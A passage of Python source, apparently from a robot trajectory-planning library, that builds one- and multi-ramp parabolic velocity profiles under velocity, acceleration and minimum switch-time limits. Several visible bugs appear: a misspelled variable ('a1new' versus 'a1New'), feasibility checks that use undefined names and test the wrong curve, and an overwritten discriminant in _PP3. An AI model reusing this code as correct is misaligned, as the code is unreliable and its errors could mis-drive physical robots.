{6}\".format(x0, x1, v0, v1, vm, am, duration))\n return ParabolicCurve()\n\n t1 = duration - t0\n a0 = A + (B/t0)\n a1 = A - (B/t1)\n\n ramp0 = Ramp(v0, a0, t0, x0)\n ramp1 = Ramp(vp, a1, t1)\n curve = ParabolicCurve([ramp0, ramp1])\n else:\n tMiddle = duration - (t0 + tLastRamp)\n if FuzzyZero(tMiddle, epsilon):\n # The middle ramp is too short. If we leave it like this, it may cause errors later on.\n t0 = (2*d - (v1 + vmNew)*duration)/(v0 - v1)\n t1 = duration - t0\n vp = vmNew\n a0 = dv2/t0\n a1 = -dv3/t1\n if (abs(a0) > am + epsilon) or (abs(a1) > am + epsilon):\n log.debug(\"Cannot merge into two-ramp because of acceleration limits\");\n log.debug(\"x0 = {0}; x1 = {1}; v0 = {2}; v1 = {3}; vm = {4}; am = {5}; duration = {6}\".format(x0, x1, v0, v1, vm, am, duration))\n return ParabolicCurve()\n\n ramp0 = Ramp(v0, a0, t0, x0);\n ramp1 = Ramp(vp, a1, t1);\n curve = ParabolicCurve([ramp0, ramp1])\n else:\n # Three-ramp profile really works now\n ramp0 = Ramp(v0, a0, t0, x0)\n ramp1 = Ramp(vp, 0, tMiddle)\n ramp2 = Ramp(vp, a1, tLastRamp)\n curve = ParabolicCurve([ramp0, ramp1, ramp2])\n\n # Check before returning\n return curve\n \n\n#\n# Utilities\n#\ndef CalculateLeastUpperBoundInoperavtiveTimeInterval(x0, x1, v0, v1, vm, am):\n \"\"\"Let t be the total duration of the velocity profile, a0 and a1 be the\n accelerations of both ramps. We write, in the way that has already been\n described in SolveMinAccel, a0 and a1 in terms of t0 as\n\n a0 = A + B/t0 and\n a1 = A - B/(t - t0).\n\n Imposing the acceleration bounds, we have the following inequalities:\n\n from -am <= a0 <= am, we have\n\n t0*sum1 <= B\n B <= sum2*t0\n\n from -am <= a1 <= am, we have\n\n (t - t0)*sum1 <= -B\n -B <= sum2*(t - t0),\n\n where sum1 = -am - A, sum2 = am - A.\n\n From those inequalities, we can deduce that a feasible value of t0 must fall\n in the intersection of\n\n [B/sum1, t + B/sum1] and\n [B/sum2, t + B/sum2].\n\n Therefore, the total duration t must satisfy\n\n t >= B*(1/sum2 - 1/sum1) and\n t >= B*(1/sum1 - 1/sum2).\n\n By substituting A = (v1 - v0)/t and B = 2*d/t - (v0 + v1) into the above\n inequalities, we have\n\n t >= (2*am*((2*d)/t - (v0 + v1)))/(am*am - ((v1 - v0)/t)**2) and\n t >= -(2*am*((2*d)/t - (v0 + v1)))/(am*am - ((v1 - v0)/t)**2),\n\n (the inequalities are derived using Sympy). Finally, we have two solutions\n (for the total time) from each inequality. Then we select the maximum one.\n\n Important note: position limits are not taken into account here. The\n calculated upper bound may be invalidated because of position constraints.\n\n \"\"\"\n d = x1 - x0\n\n amInv = 1.0/am\n firstTerm = (v0 + v1)*amInv\n\n temp1 = 2*(-am*am)*(2*am*d - v0*v0 - v1*v1)\n secondTerm1 = Sqrt(temp1)*amInv*amInv\n if (temp1 < 0):\n T0 = -1\n T1 = -1\n\n else:\n T0 = firstTerm + secondTerm1\n T1 = firstTerm - secondTerm1\n\n T1 = max(T0, T1)\n\n temp2 = 2*(am*am)*(2*am*d + v0*v0 + v1*v1)\n secondTerm2 = Sqrt(temp2)*amInv*amInv\n if (temp2 < 0):\n T2 = -1\n T3 = -1\n\n else:\n T2 = -firstTerm + secondTerm2\n T3 = -firstTerm - secondTerm2\n\n T3 = max(T2, T3)\n\n t = max(T1, T3)\n \n if (t > epsilon):\n # dStraight is the displacement produced if we were to travel with only\n # one acceleration from v0 to v1 in t. It is used to determine which\n # direction we should aceelerate first (posititve or negative\n # acceleration).\n dStraight = 0.5*(v0 + v1)*t\n amNew = am if d - dStraight > 0 else -am\n vmNew = vm if d - dStraight > 0 else -vm\n\n vp = 0.5*(amNew*t + v0 + v1) # the peak velocity\n if (Abs(vp) > vm):\n dExcess = (vp - vmNew)*(vp - vmNew)*amInv\n deltaTime = dExcess/vm\n t += deltaTime # the time increased from correcting the velocity bound violation\n \n # Should be no problem now.\n t = t * 1.01 # for safety reasons, we don't make t too close to the bound\n return [True, t]\n\n else:\n if FuzzyEquals(x1, x0, epsilon) and FuzzyZero(v0, epsilon) and FuzzyZero(v1, epsilon):\n t = 0\n return [True, t]\n else:\n log.debug(\"Unable to calculate the least upper bound: T0 = {0}; T1 = {1}; T2 = {2}; T3 = {3}\".format(T0, T1, T2, T3))\n return [False, t]\n\n\ndef SolveForT0(A, B, t, l, u):\n \"\"\"\n Let x = t0 for convenience. The two accelerations can be written in terms of x as\n\n a0 = A + B/x and\n a1 = A - B/(t - x),\n\n where t is the total duration. We want to solve the following optimization problem:\n\n minimize(x) J(x) = a0^2 + a1^2.\n\n We find the minimizer by solving dJ/dx = 0. From\n\n J(x) = (A + B/x)^2 + (A - B/(t - x))^2,\n\n we have\n\n dJ/dx = (2*A)*x^4 + (2*B - 4*A*t)*x^3 + (3*A*t^2 - 3*B*t)*x^2 + (A*t^3 + 3*t^2)*x + (B*t^3).\n \"\"\"\n if (l < 0):\n if (u < 0):\n log.debug(\"The given interval is invalid: l = {0}; u = {1}\".format(l, u))\n return [False, -1]\n log.debug(\"Invalid lower bound is given. Reset to zero.\")\n l = 0\n\n if FuzzyZero(A, epsilon) and FuzzyZero(B, epsilon):\n if (l > 0):\n return [False, -1]\n else:\n t0 = 0\n return [True, t0]\n\n tSqr = t*t\n tCube = tSqr*t\n if FuzzyZero(A, epsilon):\n coeffs = np.array([2*B, -3*B*t, 3*B*tSqr, -B*tCube])\n else:\n coeffs = np.array([2*A, -4*A*t + 2*B, 3*A*tSqr - 3*B*t, -A*tCube + 3*B*tSqr, -B*tCube])\n\n roots = np.roots(coeffs)\n if len(roots) == 0:\n return [False, -1]\n\n # Find the solution which minimizes the objective function\n J = inf\n bestT = -1.0\n for root in roots:\n if (root <= u) and (root >= l):\n if FuzzyZero(root, epsilon):\n firstTerm = 0\n else:\n firstTerm = A + B/root\n\n if FuzzyZero(t - root, epsilon):\n secondTerm = 0\n else:\n secondTerm = A - B/(t - root)\n\n curObj = firstTerm*firstTerm + secondTerm*secondTerm\n if (curObj < J):\n J = curObj\n bestT = root\n\n if bestT < 0:\n return [False, -1]\n else:\n return [True, bestT]\n\n\ndef Recompute1DTrajectoryTwoRamps(curve, t0, t1):\n \"\"\"Recompute a trajectory interpolating (curve.x0, curve.v0) and (curve.x1,\n curve.v1) such that the trajectory has two ramps with durations t0 and t1\n respectively.\n\n Given t0 and t1, there is a unique solution to this problem.\n\n \"\"\"\n assert(t0 > 0)\n assert(t1 > 0)\n x0 = curve.x0\n d = curve.d\n v0 = curve.v0\n v1 = curve.v1\n\n alpha = t0*(0.5*t0 + t1)\n beta = 0.5*t1*t1\n gamma = d - v0*(t0 + t1)\n det = alpha*t1 - beta*t0 # det is provably strictly positive\n detInv = 1.0/det\n \n a0New = (gamma*t1 - beta*(v1 - v0))*detInv\n a1new = (-gamma*t0 + alpha*(v1 - v0))*detInv\n\n ramp0 = Ramp(v0, a0New, t0, x0)\n ramp1 = Ramp(ramp0.v1, a1New, t1)\n return ParabolicCurve([ramp0, ramp1])\n\n\ndef Recompute1DTrajectoryThreeRamps(curve, t0, t1, t2, vm, am):\n \"\"\"Recompute a trajectory interpolating (curve.x0, curve.v0) and (curve.x1,\n curve.v1) such that the trajectory has three ramps with durations t0, t1,\n and t2 respectively.\n\n \"\"\"\n assert(t0 > 0)\n assert(t1 > 0)\n assert(t2 > 0)\n x0 = curve.x0\n d = curve.d\n v0 = curve.v0\n v1 = curve.v1\n \n alpha = t0*(0.5*t0 + t1 + t2)\n beta = t1*(0.5*t1 + t2)\n sigma = 0.5*t2*t2\n gamma = d - v0*(t0 + t1 + t2)\n kappa = v1 - v0\n\n A = np.array([[alpha, beta, sigma], [t0, t1, t2]])\n b = np.array([[gamma], [kappa]])\n AAT = np.dot(A, A.T)\n pseudoinvA = np.dot(A.T, np.linalg.inv(AAT))\n xp = np.dot(pseudoinvA, b) # particular solution\n xh = np.array([[(beta*t2 - sigma*t1)/(alpha*t1 - beta*t0)],\n [-(alpha*t2 - sigma*t0)/(alpha*t1 - beta*t0)],\n [1.0]]) # homogenous solution\n\n # Solutions to Ax = b are in the form xp + k*xh. Now we need to compute a valid interval of k.\n \n l = np.array([[(max((-vm - v0)/t0, -am))], [-am], [max((-vm + v1)/t2, -am)]])\n u = np.array([[min((vm - v0)/t0, am)], [am], [min((vm + v1)/t2, am)]])\n\n [result0, kl0, ku0] = SolveBoundedInEq(xh[0], xp[0], l[0], u[0])\n [result1, kl1, ku1] = SolveBoundedInEq(xh[1], xp[1], l[1], u[1])\n [result2, kl2, ku2] = SolveBoundedInEq(xh[2], xp[2], l[2], u[2])\n assert(result0 and result1 and result2)\n\n if (kl0 > ku1) or (ku0 < kl1):\n return ParabolicCurve()\n\n kl0 = max(kl0, kl1)\n ku0 = min(ku0, ku1)\n if (kl0 > ku2) or (ku0 < kl2):\n return ParabolicCurve()\n\n kl = max(kl0, kl2)\n ku = min(ku0, ku2)\n\n # Now we can choose any value k \\in [kl, ku]. If there is no other\n # preference, we just randomly choose one.\n k = _rng.uniform(kl, ku)\n x = xp + k*xh\n\n [a0, a1, a2] = x\n ramp0 = Ramp(v0, a0, t0, x0)\n ramp1 = Ramp(ramp0.v1, a1, t1)\n ramp2 = Ramp(ramp1.v1, a2, t2)\n return ParabolicCurve([ramp0, ramp1, ramp2])\n \n \n################################################################################\n\n#\n# ND Trajectory with minimum-switch-time constraint\n#\ndef _RecomputeNDTrajectoryFixedDurationWithDelta(curves, vmVect, amVect, maxIndex, delta):\n ndof = len(curves)\n tmax = curves[maxIndex].duration\n\n grid = _ComputeGrid(curves[maxIndex], delta)\n PLPFirst = len(grid) > _gridThreshold\n if PLPFirst:\n first = SnapToGrid_ThreeRamps\n second = SnapToGrid_TwoRamps\n else:\n first = SnapToGrid_TwoRamps\n second = SnapToGrid_ThreeRamps\n \n newcurves = []\n for j in xrange(ndof):\n if j == maxIndex:\n newcurves.append(curves[j])\n continue\n\n newcurve = first(curves[j], vmVect[j], amVect[j], delta, tmax, grid)\n if len(newcurve) == 0:\n newcurve = second(curves[j], vmVect[j], amVect[j], delta, tmax, grid)\n if len(newcurve) == 0:\n log.debug(\"DOF {0} is infeasible.\".format(j))\n return ParabolicCurvesND()\n newcurves.append(newcurve)\n\n return ParabolicCurvesND(newcurves) \n\n\ndef _ComputeGrid(curve, delta):\n \"\"\"This function compute a grid which devides each ramp of the given curve into\n intervals of equal duration t, such that t is smallest possible but still greater\n than delta.\n\n Grid resolution at each ramp may be different.\n\n \"\"\"\n totalNumGrid = sum([np.floor(r.duration/delta) for r in curve])\n if totalNumGrid < _defaultGridRes:\n grids = np.array([])\n startTime = 0\n for ramp in curve:\n n = np.floor(ramp.duration/delta)\n endTime = startTime + ramp.duration\n grid = np.linspace(startTime, endTime, num=n, endpoint=False)\n grids = np.append(grids, grid)\n startTime = endTime\n grids = np.append(grids, curve.duration)\n else:\n nums = [np.floor(_defaultGridRes*r.duration/curve.duration) for r in curve]\n grids = np.array([])\n startTime = 0\n for (n, ramp) in zip(nums, curve):\n endTime = startTime + ramp.duration\n grid = np.linspace(startTime, endTime, num=n, endpoint=False)\n grids = np.append(grids, grid)\n startTime = endTime\n grids = np.append(grids, curve.duration)\n\n return grids\n\n\ndef SnapToGrid_TwoRamps(curve, vm, am, delta, tmax, grid):\n \"\"\"This function try to generate a two-ramp trajectory which has the switch\n point lying at one of the grid lines. It iterates through all available grid\n lines.\n\n \"\"\"\n for g in grid:\n assert(g > 0)\n newcurve = Recompute1DTrajectoryTwoRamps(curve, g, tmax - g)\n if CheckParabolicCurve(curve, xmin, xmax, vm, am, x0, x1, v0, v1) == PCR_Normal:\n return newcurve\n return ParabolicCurve()\n\n\ndef SnapToGrid_ThreeRamps(curve, vm, am, delta, tmax, grid):\n \"\"\"This function try to generate a two-ramp trajectory which has the switch\n point lying at one of the grid lines.\n\n Since there are too many possible combinations of the two switch points, it\n make an initial guess and then try out four possibilities.\n\n \"\"\"\n # Initial guess\n t0 = tmax * 0.25\n t1 = tmax * 0.50\n\n index0 = bisect.bisect_left(grid, t0)\n # i0 is a list of positions of the first switch point\n if index0 == 0:\n i0 = [index0]\n else:\n i0 = [index0 - 1, index0]\n\n index1 = bisect.bisect_left(grid, t1)\n # i1 is a list of positions of the second switch point\n if index1 == len(grid):\n i1 = [index1]\n else:\n i1 = [index1 - 1, index1]\n\n for index0 in i0:\n for index1 in i1:\n if index1 <= index0:\n continue\n t0New = grid[index0]\n t1New = grid[index1] - grid[index0]\n t2New = tmax - grid[index1]\n newcurve = Recompute1DTrajectoryThreeRamps(curve, t0New, t1New, t2New, vm, am)\n if CheckParabolicCurve(curve, xmin, xmax, vm, am, x0, x1, v0, v1) == PCR_Normal:\n return newcurve\n return ParabolicCurve()\n \n\n################################################################################\n\n#\n# 1D Trajectory with minimum-switch-time constraint\n#\ndef ComputeZeroVel1DTrajectoryWithDelta(x0, x1, vm, am, delta):\n curve = _Compute1DTrajectoryWithoutDelta(x0, x1, 0.0, 0.0, vm, am)\n \n if len(curve) == 1:\n assert(not (x0 == 0 and x1 == 0))\n return curve\n elif len(curve) == 2:\n return _FixSwitchTimeZeroVelPP(curve, delta)\n else:\n # len(curve) == 3 in this case\n return _FixSwitchTimeZeroVelPLP(curve, vm, am, delta)\n\n\ndef _FixSwitchTimeZeroVelPP(curve, delta):\n if curve[0].duration >= delta:\n return curve\n\n newVp = curve.d/delta # the new peak velocity\n a0 = newVp/delta\n ramp0 = Ramp(0.0, a0, delta, curve.x0)\n ramp1 = Ramp(newVp, -a0, delta)\n return ParabolicCurve([ramp0, ramp1])\n\n\ndef _FixSwitchTimeZeroVelPLP(curve, vm, am, delta):\n if curve[0].duration >= delta and curve[1].duration >= delta:\n # Note that we do not have to check the last ramp since it has\n # the same duration as the first ramp\n return curve\n\n d = curve.d\n x0 = curve.x0\n\n if (am*delta <= vm):\n # two-ramp\n vp = vm if d > 0 else -vm\n t0 = d/vp\n a0 = vp/t0\n ramp0 = Ramp(0.0, a0, t0, x0)\n ramp1 = Ramp(vp, -a0, t0)\n curveA = ParabolicCurve([ramp0, ramp1])\n \n # three-ramp\n a0 = am if d > 0 else -am\n vp = 0.5*(-a0*delta + np.sign(a0)*np.sqrt((a0*delta)**2 + 4*a0*d))\n if (vp/a0 < delta):\n # (delta, delta, delta)\n vp = 0.5*d/delta\n ramp0 = Ramp(0.0, vp/delta, delta, x0 = x0)\n ramp1 = Ramp(vp, 0.0, delta)\n ramp2 = Ramp(vp, -vp/delta, delta)\n else:\n # (> delta, delta, > delta)\n ramp0 = Ramp(0.0, a0, vp/a0, x0 = x0)\n ramp1 = Ramp(vp, 0.0, delta)\n ramp2 = Ramp(vp, -a0, vp/a0)\n curveB = ParabolicCurve([ramp0, ramp1, ramp2])\n\n # Compare the durations\n if curveA.duration <= curveB.duration:\n return curveA\n else:\n return curveB\n \n else:\n deltaInv = 1.0/delta\n if (abs(d) <= vm*delta):\n # two-ramp (delta, delta)\n vp = d*deltaInv\n a0 = vp*deltaInv\n ramp0 = Ramp(0.0, a0, delta, x0)\n ramp1 = Ramp(vp, -a0, delta)\n return ParabolicCurve([ramp0, ramp1])\n elif (abs(d) > 2*vm*delta):\n # (delta, > delta, delta)\n vp = np.sign(d)*vm\n a0 = vp*deltaInv\n ramp0 = Ramp(0.0, a0, delta, x0)\n ramp2 = Ramp(vp, -a0, delta)\n dRem = d - (ramp0.d + ramp2.d) # the remaining distance for the middle ramp\n ramp1 = Ramp(vp, 0.0, dRem/vp)\n return ParabolicCurve([ramp0, ramp1, ramp2])\n elif (abs(d) <= 1.5*vm*delta):\n # two-ramp (>= delta, >= delta)\n vp = np.sign(d)*vm\n t = d/vp\n a0 = vp/t\n ramp0 = Ramp(0.0, a0, t, x0)\n ramp1 = Ramp(vp, -a0, t)\n return ParabolicCurve([ramp0, ramp1])\n else:\n # three-ramp (delta, delta, delta)\n vp = 0.5*d*deltaInv\n a0 = vp*deltaInv\n ramp0 = Ramp(0.0, a0, delta, x0)\n ramp1 = Ramp(vp, 0.0, delta)\n ramp2 = Ramp(vp, -a0, delta)\n return ParabolicCurve([ramp0, ramp1, ramp2])\n \n\ndef _Compute1DTrajectoryWithDelta(x0, x1, v0, v1, vm, am, delta):\n curve = _Compute1DTrajectoryWithoutDelta(x0, x1, v0, v1, vm, am)\n\n if len(curve) == 1:\n return _FixSwitchTimeOneRamp(curve, vm, am, delta)\n elif len(curve) == 2:\n return _FixSwitchTimeTwoRamps(curve, vm, am, delta)\n else:\n return _FixSwitchTimeThreeRamps(curve, vm, am, delta)\n\n\ndef _FixSwitchTimeOneRamp(curve, vm, am, delta):\n # To be determined whether the fix in this case is worth it because the duration\n # of the modified ParabolicCurve tends to be much greater than the original\n # duration.\n return ParabolicCurve()\n \n\ndef _FixSwitchTimeTwoRamps(curve, vm, am, delta):\n t0 = curve[0].duration\n t1 = curve[1].duration\n\n if (t0 >= delta) and (t1 >= delta):\n return curve\n elif (t0 < delta) and (t1 >= delta):\n return _PP1(curve, vm, am, delta)\n elif (t0 >= delta) and (t1 < delta):\n return _PP2(curve, vm, am, delta)\n else:\n return _PP3(curve, vm, am, delta)\n\n \ndef _PP1(curve, vm, am, delta):\n \"\"\"(t0 < delta) and (t1 >= delta)\n\n Stretch the duration of the first ramp to delta while the second ramp remains at\n the same acceleration (hence shorter). After that there are three possible cases.\n \n A: no further correction is needed.\n B: the second ramp becomes shorter than delta and re-interpolating (x0, v0) and (x1, v1)\n using a trajectory with 2 delta-ramps is better\n C: the second ramp becomes shorter than delta and re-interpolating (x0, v0) and (x1, v1)\n using a trajectory with one ramp is better\n \"\"\"\n ramp0 = curve[0]\n ramp1 = curve[-1]\n t0 = ramp0.duration\n t1 = ramp1.duration\n v0 = ramp0.v0\n v1 = ramp1.v1\n a0 = ramp0.a\n a1 = ramp1.a\n d = curve.d\n x0 = ramp0.x0\n vp = ramp0.v1\n deltaInv = 1.0/delta\n\n if FuzzyZero(a1, epsilon):\n # Stretch the first ramp\n ramp0A = Ramp(v0, (vp - v0)*deltaInv, delta, x0)\n dRem = d - ramp0A.d\n if FuzzyZero(vp, epsilon):\n log.warn(\"The peak velocity is zero\")\n return ParabolicCurve()\n t1New = dRem/vp\n\n if (t1New >= delta):\n ramp1A = Ramp(vp, 0.0, t1New)\n curveA = ParabolicCurve([ramp0A, ramp1A])\n # Check before returning\n return curveA\n else:\n k = a1*delta\n vpNew = 0.5*(k - np.sign(a1)*np.sqrt(k**2 + 4*(k*v0 + v1**2) - 8*a1*d))\n t1New = (v1 - vpNew)/a1\n\n if (t1New >= delta):\n # A: no further correction is needed.\n log.debug(\"PP1 A\")\n a0New = (vpNew - v0)*deltaInv\n ramp0A = Ramp(v0, a0New, delta, x0)\n ramp1A = Ramp(vpNew, a1, t1New)\n curveA = ParabolicCurve([ramp0A, ramp1A])\n # Check before returning\n return curveA\n\n # If arrive here, case A does not work. Need some modification.\n # Try case B.\n vpNew = d*deltaInv - 0.5*(v0 + v1)\n a0New = (vpNew - v0)*deltaInv\n a1New = (v1 - vpNew)*deltaInv\n\n if (abs(a0New) <= am + epsilon) and (abs(a1New) <= am + epsilon) and (abs(vpNew) <= vm + epsilon):\n ramp0B = Ramp(v0, a0New, delta, x0)\n ramp1B = Ramp(vpNew, a1New, delta)\n curveB = ParabolicCurve([ramp0B, ramp1B])\n else:\n # Case B does not produce any feasible solution\n curveB = ParabolicCurve()\n\n # Try case C.\n if FuzzyZero(v0 + v1, epsilon):\n # Case C does not produce any feasible solution\n curveC = ParabolicCurve()\n else:\n tNew = 2*d/(v0 + v1)\n aNew = (v1 - v0)/tNew\n if (abs(aNew) <= am + epsilon) and (tNew >= delta):\n ramp0C = Ramp(v0, aNew, tNew, x0)\n curveC = ParabolicCurve([ramp0C])\n else:\n # Case C does not produce any feasible solution\n curveC = ParabolicCurve()\n\n # There has to be at least one valid case\n assert(not (curveB.IsEmpty() and curveC.IsEmpty()))\n\n if curveB.IsEmpty():\n # Check before returning\n return curveC\n elif curveC.IsEmpty():\n # Check before returning\n return curveB\n elif curveB.duration <= curveC.duration:\n # Check before returning\n return curveB\n else:\n # Check before returning\n return curveC\n\n\ndef _PP2(curve, vm, am, delta):\n \"\"\"(t0 >= delta) and (t1 < delta)\n\n Stretch the duration of the second ramp to delta while the first ramp remains at\n the same acceleration (hence shorter). After that there are three possible cases.\n \n A: no further correction is needed.\n B: the first ramp becomes shorter than delta and re-interpolating (x0, v0) and (x1, v1)\n using a trajectory with 2 delta-ramps is better\n C: the first ramp becomes shorter than delta and re-interpolating (x0, v0) and (x1, v1)\n using a trajectory with one ramp is better\n \"\"\"\n ramp0 = curve[0]\n ramp1 = curve[-1]\n t0 = ramp0.duration\n t1 = ramp1.duration\n v0 = ramp0.v0\n v1 = ramp1.v1\n a0 = ramp0.a\n a1 = ramp1.a\n d = curve.d\n x0 = ramp0.x0\n vp = ramp0.v1\n deltaInv = 1.0/delta\n\n if FuzzyZero(a0, epsilon):\n # Stretch the last ramp\n ramp1A = Ramp(vp, (v1 - v0)*deltaInv, delta)\n dRem = d - ramp1A.d\n if FuzzyZero(vp, epsilon):\n log.warn(\"The peak velocity is zero\")\n return ParabolicCurve()\n t0New = dRem/vp\n \n if (t0New >= delta):\n ramp0A = Ramp(v0, 0.0, t0New, x0)\n curveA = ParabolicCurve([ramp0A, ramp1A])\n # Check before returning\n return curveA\n else:\n k = a0*delta\n vpNew = 0.5*( - k + np.sign(a0)*np.sqrt(k**2 - 4*(k*v1 - v0**2) + 8*a0*d))\n t0New = (vpNew - v0)/a0\n \n if (t0New >= delta):\n # A: no further correction is needed.\n log.debug(\"PP2 A\")\n a1New = (v1 - vpNew)*deltaInv\n ramp0A = Ramp(v0, a0, t0New, x0)\n ramp1A = Ramp(vpNew, a1New, delta)\n curveA = ParabolicCurve([ramp0A, ramp1A])\n # Check before returning\n return curveA\n\n # If arrive here, case A does not work. Need some modification.\n # Try case B.\n vpNew = d*deltaInv - 0.5*(v0 + v1)\n a0New = (vpNew - v0)*deltaInv\n a1New = (v1 - vpNew)*deltaInv\n\n if (abs(a0New) <= am + epsilon) and (abs(a1New) <= am + epsilon) and (abs(vpNew) <= vm + epsilon):\n ramp0B = Ramp(v0, a0New, delta, x0)\n ramp1B = Ramp(vpNew, a1New, delta)\n curveB = ParabolicCurve([ramp0B, ramp1B])\n else:\n # Case B does not produce any feasible solution\n curveB = ParabolicCurve()\n\n # Try case C.\n if FuzzyZero(v0 + v1, epsilon):\n # Case C does not produce any feasible solution\n curveC = ParabolicCurve()\n else:\n tNew = 2*d/(v0 + v1)\n aNew = (v1 - v0)/tNew\n if (abs(aNew) <= am + epsilon) and (tNew >= delta):\n ramp0C = Ramp(v0, aNew, tNew, x0)\n curveC = ParabolicCurve([ramp0C])\n else:\n # Case C does not produce any feasible solution\n curveC = ParabolicCurve()\n\n # There has to be at least one valid case\n assert(not (curveB.IsEmpty() and curveC.IsEmpty()))\n\n if curveB.IsEmpty():\n # Check before returning\n return curveC\n elif curveC.IsEmpty():\n # Check before returning\n return curveB\n elif curveB.duration <= curveC.duration:\n # Check before returning\n return curveB\n else:\n # Check before returning\n return curveC\n \n \ndef _PP3(curve, vm, am, delta):\n \"\"\"(t0 < delta) and (t1 < delta)\n\n First we try out two possibilities.\n \n A: re-interpolating (x0, v0) and (x1, v1) using a trajectory with 2 delta-ramps\n B: re-interpolating (x0, v0) and (x1, v1) using a trajectory with one ramp\n\n If the above two cases do not give any feasible trajectory, we try to re-interpolate (x0, v0)\n and (x1, v1) again by using the idea of flipping ramps. Basically if the original trajectory\n goes with +am -> -am, the new trajectory would be -am -> +am.\n \"\"\"\n ramp0 = curve[0]\n ramp1 = curve[-1]\n t0 = ramp0.duration\n t1 = ramp1.duration\n v0 = ramp0.v0\n v1 = ramp1.v1\n a0 = ramp0.a\n a1 = ramp1.a\n d = curve.d\n x0 = ramp0.x0\n vp = ramp0.v1\n deltaInv = 1.0/delta\n\n # Try case A.\n vpNew = d*deltaInv - 0.5*(v0 + v1)\n a0New = (vpNew - v0)*deltaInv\n a1New = (v1 - vpNew)*deltaInv\n if (abs(a0New) <= am + epsilon) and (abs(a1New) <= am + epsilon) and (abs(vpNew) <= vm + epsilon):\n ramp0A = Ramp(v0, a0New, delta, x0)\n ramp1A = Ramp(vpNew, a1New, delta)\n curveA = ParabolicCurve([ramp0A, ramp1A])\n else:\n # Case A does not produce any feasible solution\n curveA = ParabolicCurve()\n\n # Try case B.\n if FuzzyZero(v0 + v1, epsilon):\n # Case C does not produce any feasible solution\n curveB = ParabolicCurve()\n else:\n tNew = 2*d/(v0 + v1)\n aNew = (v1 - v0)/tNew\n if (abs(aNew) <= am + epsilon) and (tNew >= delta):\n ramp0B = Ramp(v0, aNew, tNew, x0)\n curveB = ParabolicCurve([ramp0B])\n else:\n # Case B does not produce any feasible solution\n curveB = ParabolicCurve()\n\n if not (curveA.IsEmpty() and curveB.IsEmpty()):\n # We already have a feasible solution\n if curveA.IsEmpty():\n log.debug(\"PP3 A\")\n return curveB\n elif curveB.IsEmpty():\n log.debug(\"PP3 B\")\n return curveA\n else:\n if curveA.duration < curveB.duration:\n log.debug(\"PP3 A\")\n return curveA\n else:\n log.debug(\"PP3 B\")\n return curveB\n\n log.debug(\"PP3 Flipping\")\n # If arrive here, both cases A and B do not produce any feasible solution.\n # First see if the flipped ramps can go with maximum accel/decel\n if FuzzyZero(a0, epsilon):\n a0New = a1\n a1New = -a1\n elif FuzzyZero(a1, epsilon):\n a0New = -a0\n a1New = a0\n else:\n a0New = -a0\n a1New = -a1\n\n vpSqr = 0.5*(v0*v0 + v1*v1) + a0New*d\n if (vpSqr >= 0) and (not FuzzyZero(a0New, epsilon)) and (not FuzzyZero(a1New, epsilon)):\n # Both ramps can saturate the acceleration bound. Now figure out which value of vpNew to use\n vpNew = Sqrt(vpSqr)\n t0New = (vpNew - v0)/a0New\n t1New = (v1 - vpNew)/a1New\n if (t0New >= delta) and (t1New >= delta):\n ramp0C = Ramp(v0, a0New, t0New, x0)\n ramp1C = Ramp(vpNew, a1New, t1New)\n curveC = ParabolicCurve([ramp0C, ramp1C])\n # Check before returning\n return curveC\n\n # vpNew being positive does not work\n vpNew *= -1.0\n t0New = (vpNew - v0)/a0New\n t1New = (v1 - vpNew)/a1New\n if (t0New >= delta) and (t1New >= delta):\n ramp0C = Ramp(v0, a0New, t0New, x0)\n ramp1C = Ramp(vpNew, a1New, t1New)\n curveC = ParabolicCurve([ramp0C, ramp1C])\n # Check before returning\n return curveC\n\n # Now we know that the flipped velocity profile cannot saturate acceleration bound all the\n # time. We try to modify the (flipped) velocity profile using the idea in PP1 and PP2.\n if (t0 <= t1):\n # When flipped, we would have t0New > t1New. Therefore, we follow the procedure of PP1.\n k = a1New*delta\n discriminant = k**2 + 4*(k*v0 + v1**2) - 8*a1New*d\n if (discriminant < 0):\n # Fail to calculate vpNew following PP1\n return ParabolicCurve()\n\n vpNew = 0.5*(k - np.sign(a1New)*np.sqrt(discriminant))\n t1New = (v1 - vpNew)/a1New\n if (t1New >= delta):\n a0New = (vpNew - v0)*deltaInv\n ramp0A = Ramp(v0, a0New, delta, x0)\n ramp1A = Ramp(vpNew, a1New, t1New)\n curveA = ParabolicCurve([ramp0A, ramp1A])\n # Check before returning\n return curveA\n \n else:\n # (t0 > t1)\n # When flipped, we would have t0New < t1New. Therefore, we follow the procedure of PP2.\n k = a0New*delta\n discriminant = k**2 - 4*(k*v1 - v0**2) + 8*a0New*d\n discriminant = k**2 + 4*(k*v0 + v1**2) - 8*a1New*d\n if (discriminant < 0):\n # Fail to calculate vpNew following PP2\n return ParabolicCurve()\n\n vpNew = 0.5*( - k + np.sign(a0New)*np.sqrt(discriminant))\n t0New = (vpNew - v0)/a0New\n if (t0New >= delta):\n a1New = (v1 - vpNew)*deltaInv\n ramp0A = Ramp(v0, a0New, t0New, x0)\n ramp1A = Ramp(vpNew, a1New, delta)\n curveA = ParabolicCurve([ramp0A, ramp1A])\n # Check before returning\n return curveA\n\n # PP1A (or PP2A) modification does not produce any feasible trajectory.\n # Try case B.\n vpNew = d*deltaInv - 0.5*(v0 + v1)\n a0New = (vpNew - v0)*deltaInv\n a1New = (v1 - vpNew)*deltaInv\n\n if (abs(a0New) <= am + epsilon) and (abs(a1New) <= am + epsilon) and (abs(vpNew) <= vm + epsilon):\n ramp0B = Ramp(v0, a0New, delta, x0)\n ramp1B = Ramp(vpNew, a1New, delta)\n curveB = ParabolicCurve([ramp0B, ramp1B])\n else:\n # Case B does not produce any feasible solution\n curveB = ParabolicCurve()\n\n # Try case C.\n if FuzzyZero(v0 + v1, epsilon):\n # Case C does not produce any feasible solution\n curveC = ParabolicCurve()\n else:\n tNew = 2*d/(v0 + v1)\n aNew = (v1 - v0)/tNew\n if (abs(aNew) <= am + epsilon) and (tNew >= delta):\n ramp0C = Ramp(v0, aNew, tNew, x0)\n curveC = ParabolicCurve([ramp0C])\n else:\n # Case C does not produce any feasible solution\n curveC = ParabolicCurve()\n\n # There has to be at least one valid case\n if curveB.IsEmpty() and curveC.IsEmpty():\n return curveB # return an empty one\n elif curveB.IsEmpty():\n # Check before returning\n return curveC\n elif curveC.IsEmpty():\n # Check before returning\n return curveB\n elif curveB.duration <= curveC.duration:\n # Check before returning\n return curveB\n else:\n # Check before returning\n return curveC \n \n\ndef _FixSwitchTimeThreeRamps(curve, vm, am, delta):\n t0 = curve[0].duration\n t1 = curve[1].duration\n t2 = curve[2].duration\n\n if (t0 >= delta) and (t1 >= delta) and (t2 >= delta):\n return 